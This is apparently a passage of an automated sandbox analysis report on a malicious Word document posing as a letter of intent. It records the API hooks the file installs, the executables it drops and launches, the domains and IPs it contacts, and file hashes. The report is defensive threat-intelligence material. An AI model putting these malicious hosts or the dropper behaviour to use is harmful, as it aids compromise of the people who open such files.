"WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll"
"WINWORD.EXE" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{31D14435-A9DF-43B1-B62B-4A14F3932901}.tmp"
"WINWORD.EXE" touched file "C:\Windows\AppPatch\sysmain.sdb"
"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat"
"WINWORD.EXE" touched file "C:\Windows\System32\wshqos.dll" - source
- API Call
- relevance
- 7/10
-
Dropped files
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "gmail.com"
Pattern match: "wMiE.lv/}H\d!0J%V%mDz"
Heuristic match: "babajaks.co.uk"
Heuristic match: "myofficepoint.hopto.org"
Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#"
Pattern match: "http://ns.adobe.com/pdf/1.3/"
Pattern match: "http://ns.adobe.com/xap/1.0/"
Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main"
Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" - source
- File/Memory
- relevance
- 10/10
-
Found potential URL in binary/memory
-
System Security
-
Hooks API calls
- details
-
"VariantClear@OLEAUT32.DLL" in "WINWORD.EXE"
"VariantChangeType@OLEAUT32.DLL" in "WINWORD.EXE"
"OleLoadFromStream@OLE32.DLL" in "WINWORD.EXE"
"SysAllocStringByteLen@OLEAUT32.DLL" in "WINWORD.EXE"
"SysFreeString@OLEAUT32.DLL" in "WINWORD.EXE" - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Hooks API calls
-
Unusual Characteristics
-
Drops cabinet archive files
- details
- "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data 6597 bytes 1 file"
- source
- Binary File
- relevance
- 10/10
-
Installs hooks/patches the running process
- details
-
"WINWORD.EXE" wrote bytes "f8110475" to virtual address "0x750583C4" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "e9c45430ee" to virtual address "0x75E23F20" ("VariantClear@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "e9ab9932ee" to virtual address "0x75E25D66" ("VariantChangeType@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "48120475" to virtual address "0x750583C0" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "68130000" to virtual address "0x77451680" (part of module "WS2_32.DLL")
"WINWORD.EXE" wrote bytes "b5d18e8c" to virtual address "0x2F5C1B94" (part of module "WINWORD.EXE")
"WINWORD.EXE" wrote bytes "f8110000" to virtual address "0x750412CC" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "f8110475" to virtual address "0x7505834C" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "f8110000" to virtual address "0x75041408" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "b840130c72ffe0" to virtual address "0x75041248" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "48120475" to virtual address "0x75058348" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "d5d9067630c60676e0c2067642c6067610c60676acdc0676a0df067636da067687f106760000000091774b77c0904b777f6f4b771ffa4b77def44b77f2824b77857d4b7700000000" to virtual address "0x720F1000" (part of module "MSIMG32.DLL")
"WINWORD.EXE" wrote bytes "2893a583" to virtual address "0x6CE310AC" (part of module "MSPTLS.DLL")
"WINWORD.EXE" wrote bytes "99711f8c" to virtual address "0x653478E4" (part of module "OART.DLL")
"WINWORD.EXE" wrote bytes "650f5683" to virtual address "0x6CD29904" (part of module "RICHED20.DLL")
"WINWORD.EXE" wrote bytes "e9fef30eef" to virtual address "0x755DA00A" ("OleLoadFromStream@OLE32.DLL")
"WINWORD.EXE" wrote bytes "e9d73230ee" to virtual address "0x75E247BA" ("SysAllocStringByteLen@OLEAUT32.DLL")
"WINWORD.EXE" wrote bytes "48120000" to virtual address "0x7504139C" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "48120000" to virtual address "0x750412DC" (part of module "SSPICLI.DLL")
"WINWORD.EXE" wrote bytes "48120475" to virtual address "0x750583DC" (part of module "SSPICLI.DLL") - source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Drops cabinet archive files
File Details
Letter-Of-Intent-16-07-19.doc
- Filename
- Letter-Of-Intent-16-07-19.doc
- Size
- 384KiB (392704 bytes)
- Type
- doc office
- Description
- Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jul 16 15:26:00 2019, Last Saved Time/Date: Tue Jul 16 15:26:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
- Architecture
- WINDOWS
- SHA256
- 956302c7c7527138591c007375422f40d78fbe70aee1db056d095cf4bf9cc5e3
- MD5
- 50c1d6f8b7c6a2cdab87fada16b98128
- SHA1
- 469e98fdb460682a79b1dd50d063cd40954e5a90
- ssdeep
- 6144:KIoWS8ZSsJN5JAbauTmdSCqKuvmmLltJssly70oaLxp6DZVfy5lXXQVcek92mGHs:RCcSsNytEj0mY3Jtly70LLv6DEEi9sD
Classification (TrID)
- 54.2% (.DOC) Microsoft Word document
- 32.2% (.DOC) Microsoft Word document (old ver.)
- 13.5% (.) Generic OLE2 / Multistream Compound File
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 3 processes in total.
-
WINWORD.EXE
/n "C:\Letter-Of-Intent-16-07-19.doc"
(PID: 3524)
-
wvec0dpd.exe
(PID: 172)
- lnt.exe (PID: 2336)
-
wvec0dpd.exe
(PID: 172)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
babajaks.co.uk |
80.244.184.168
TTL: 21528 |
- | United Kingdom |
myofficepoint.hopto.org
OSINT |
23.105.131.229
TTL: 59 |
TLDS L.L.C. d/b/a SRSPlus
Organization: No-IP.com Name Server: NF1.NO-IP.COM Creation Date: Thu, 17 Feb 2000 19:56:50 GMT |
United States |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
80.244.184.168 |
443
TCP |
winword.exe PID: 3524 |
United Kingdom |
Contacted Countries
HTTP Traffic
No relevant HTTP requests were made.
Extracted Strings
Extracted Files
Displaying 14 extracted file(s). The remaining 3 file(s) are available in the full version and XML/JSON reports.
-
Clean 1
-
-
~_tter-Of-Intent-16-07-19.doc
- Size
- 162B (162 bytes)
- Type
- data
- AV Scan Result
- 0/54
- MD5
- b60c0bb79b4b53294d99905c973caba3
- SHA1
- a7716d014025ca03b5324c8220e2459eea70b6b1
- SHA256
- a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0
-
-
Informative Selection 2
-
-
lnt.exe
- Size
- 1.1MiB (1138392 bytes)
- Type
- peexe executable
- Description
- PE32 executable (GUI) Intel 80386, for MS Windows
- Runtime Process
- wvec0dpd.exe (PID: 172)
- MD5
- 3c4a93154378e17e71830ff164bb54c4
- SHA1
- e7db65ca126bc416c2e9bc71c5eec34d03fea7e0
- SHA256
- acd831a394f89f709af15042d977af0ae6e7011f6673d97037ec29df529a085c
-
lent_1_.exe
- Size
- 1.1MiB (1138392 bytes)
- Type
- peexe executable
- Description
- PE32 executable (GUI) Intel 80386, for MS Windows
- MD5
- 3c4a93154378e17e71830ff164bb54c4
- SHA1
- e7db65ca126bc416c2e9bc71c5eec34d03fea7e0
- SHA256
- acd831a394f89f709af15042d977af0ae6e7011f6673d97037ec29df529a085c
-
-
Informative 11
-
-
Letter-Of-Intent-16-07-19.LNK
- Size
- 538B (538 bytes)
- Type
- lnk
- Description
- MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Jul 16 16:33:14 2019, mtime=Tue Jul 16 16:33:14 2019, atime=Tue Jul 16 16:33:22 2019, length=392704, window=hide
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- 925815f03da16452b7dcc12ef943c1d6
- SHA1
- 511350d98a41f5a3b25d9a3899e712c540bc2409
- SHA256
- 0132396ef6f1a57d28638fbc0c7d0f3fe7ddfe083d792fca89bd84c378c00d2f
-
index.dat
- Size
- 146B (146 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- 68b40f400abaf3f76aa03da82210baef
- SHA1
- e1c0b7eecaf0b20df7c1071a6e4281d6267556b6
- SHA256
- 9e3f41cbea96cca9819de08e4156fb14b52a1dfdbfd29c815531d3d06d0a47fc
-
16-07-2019
- Size
- 303B (303 bytes)
- Type
- data
- Runtime Process
- lnt.exe (PID: 2336)
- MD5
- 0b32fbf2658cc293d968be5a98db17ad
- SHA1
- ff97283c1d9e68c6e3a4436845c694fbb6d2b476
- SHA256
- 14fdde9f4ac4128d2e045e6927f0dfcdd141ff926692880d3425788c6ec577c6
-
5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA
- Size
- 396B (396 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- badb0885710f8e43a4c58b41480baf48
- SHA1
- 24320dc0e57d0dc96cf9cff8637c325203a7acbb
- SHA256
- 53febbd7bae39252a771d6627b2df067314e68835a28a70b6bed3185d52844f0
-
5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4
- Size
- 471B (471 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- 38c29fa022792b6aaabf2e7cbc663f4d
- SHA1
- fd5d689466344ead84a470625ed81e8ddfaf620f
- SHA256
- b96eb622bf53a6fc439a6b326b022f2b3c7f2d83b11cb1dab11285b50cb2349f
-
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size
- 342B (342 bytes)
- Type
- data
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- ca486ec7d9b3f8be784a7a833381724e
- SHA1
- 1e008d7aad8f746d4339d12fe6cebfccb1891f8b
- SHA256
- 513b92b5dcd399d2020b436a75e0c63d9652f8ed442f0e0f311813a371c3b2e0
-
mGk2U0c0s.bat
- Size
- 193B (193 bytes)
- Type
- text
- Description
- DOS batch file, ASCII text, with CRLF line terminators
- Runtime Process
- lnt.exe (PID: 2336)
- MD5
- 1a2de45e873472954e9ffc074b76f7ac
- SHA1
- 57dc37c0a020c6052dcbca8ce9a6951175502786
- SHA256
- d107fcfc781aeb0d1795907250f278e821b125530ef6b2fd7fdd317715d1d9b3
-
wvec0dpd.exe
- Size
- 1.1MiB (1138392 bytes)
- Type
- peexe executable
- Description
- PE32 executable (GUI) Intel 80386, for MS Windows
- Runtime Process
- WINWORD.EXE (PID: 3524)
- MD5
- 3c4a93154378e17e71830ff164bb54c4
- SHA1
- e7db65ca126bc416c2e9bc71c5eec34d03fea7e0
- SHA256
- acd831a394f89f709af15042d977af0ae6e7011f6673d97037ec29df529a085c
-
~WRS_10DEA314-EDFB-4432-8669-D465C7422325_.tmp
- Size
- 1.5KiB (1536 bytes)
- Type
- data
- MD5
- d743d01d6e26d35e86c0b0137af04591
- SHA1
- 8efcb0e8a3eb9d8513ef1f809754190e5c98f72b
- SHA256
- 68176d7c9756d10af3d980ffad0a47c0f7a9136322138f5f5800e34c23fe5533
-
~WRS_31D14435-A9DF-43B1-B62B-4A14F3932901_.tmp
- Size
- 1KiB (1024 bytes)
- Type
- data
- MD5
- 5d4d94ee7e06bbb0af9584119797b23a
- SHA1
- dbb111419c704f116efa8e72471dd83e86e49677
- SHA256
- 4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1
-
~_Normal.dotm
- Size
- 162B (162 bytes)
- Type
- data
- MD5
- b60c0bb79b4b53294d99905c973caba3
- SHA1
- a7716d014025ca03b5324c8220e2459eea70b6b1
- SHA256
- a101d3605f8d1ca5cfb10c48dbdb24c45f2627c48f44a2bd2604b88c7b90d5f0
-
Notifications
-
Runtime
- Although all strings were processed, some are hidden from the report in order to reduce the overall size
- Extracted file "wvec0dpd.exe" was unknown to VirusTotal, submitted file for scanning (Permalink: "https://www.virustotal.com/file/acd831a394f89f709af15042d977af0ae6e7011f6673d97037ec29df529a085c/analysis/1563295172/")
- Network whitenoise filtering was applied
- Not all Falcon MalQuery lookups completed in time
- Not all IP/URL string resources were checked online
- Not all sources for indicator ID "api-51" are available in the report
- Not all sources for indicator ID "api-55" are available in the report
- Not all sources for indicator ID "hooks-8" are available in the report
- Not all sources for indicator ID "mutant-0" are available in the report